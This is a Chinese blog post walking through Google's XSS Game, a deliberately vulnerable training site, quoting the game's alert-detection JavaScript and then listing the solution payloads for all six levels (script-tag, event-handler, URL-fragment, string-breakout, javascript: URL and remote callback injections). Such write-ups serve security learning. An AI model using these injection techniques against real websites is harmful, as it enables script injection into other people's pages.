博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
有趣的游戏:Google XSS Game
阅读量:6482 次
发布时间:2019-06-23

本文共 1504 字,大约阅读时间需要 5 分钟。

Google最近出了一XSS游戏:

我这个菜鸟看提示,花了两三个小时才全过了。。

这个游戏的规则是仅仅要在攻击网页上弹出alert窗体就能够了。

题目页面是在iframe里嵌套的展现的。那么父窗体是怎样知道iframe里成功弹出了窗体?

是这样子实现的:

题目页面载入了这个js,改写了alert函数,当alert被调用时,向parent发送一个消息。

https://xss-game.appspot.com/static/game-frame.js

/* If we're being iframed, let the parent know our URL *//* Kids: don't do this at home! */parent.postMessage(window.location.toString(), "*");/* Override window.alert */var originalAlert = window.alert;window.alert = function(s) {  parent.postMessage("success", "*");  setTimeout(function() {     originalAlert("Congratulations, you executed an alert:\n\n"       + s + "\n\nYou can now advance to the next level.");  }, 50);}
然后父窗体注冊了一个EventListener来接收这个消息:

https://xss-game.appspot.com/static/game.js

window.addEventListener("message", function(event) {  if (!window.location.origin) {    window.location.origin = window.location.protocol + "//"         + window.location.hostname         + (window.location.port ?

':' + window.location.port: ''); } if (event.origin == window.location.origin && event.data == "success") { userOpenedAlert = true; levelSolved(); return; }

最以下是题目的答案。假设想自己玩游戏的,慎拉下。

题目的答案:

Level1:

<script>alert(1)</script>
Level2:
<input οnmοuseοver="alert(1)">

Level3:

https://xss-game.appspot.com/level3/frame#3.jpg' οnlοad="alert(1)">

Level4:

3');alert('1

Level5:

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)

Level6:

重点是前面要有一个空格。

​ https://www.google.com/jsapi?

callback=alert

游戏过关之后,google给出了一个xss的文档:

版权声明:本文博客原创文章。博客,未经同意,不得转载。

你可能感兴趣的文章
HttpClient做接口测试时自定义参数长度
查看>>
PyCharm2017激活方法
查看>>
正则表达式
查看>>
Exchange企业实战技巧(27)邮件中使用数字签名和邮件加密功能
查看>>
mysql-5.6.27源码安装及错误解决办法
查看>>
Shell 函数、数组与正则表达式
查看>>
编译安装PHP时两个报错的解决办法
查看>>
System Center 2012 SP1 Data Protection Manager 防止重复备份数据
查看>>
读书-算法《程序设计导引及在线实践》-简单计算题3:校门外的树
查看>>
MFC下的网络编程(1)CAsyncSocket进行无连接(UDP)通信
查看>>
php-jquery-json-3
查看>>
前后端分离djangorestframework——ContentType组件表
查看>>
consul UI用127可以访问,指定ip无法访问
查看>>
测试缺陷分析务实篇-转
查看>>
从测试转研发
查看>>
sscanf函数详解 & 查找文件字符串
查看>>
Java多线程系列目录(共43篇)
查看>>
Spring装配Bean---使用xml配置
查看>>
[洛谷P4311]士兵占领
查看>>
[HNOI2010]弹飞绵羊
查看>>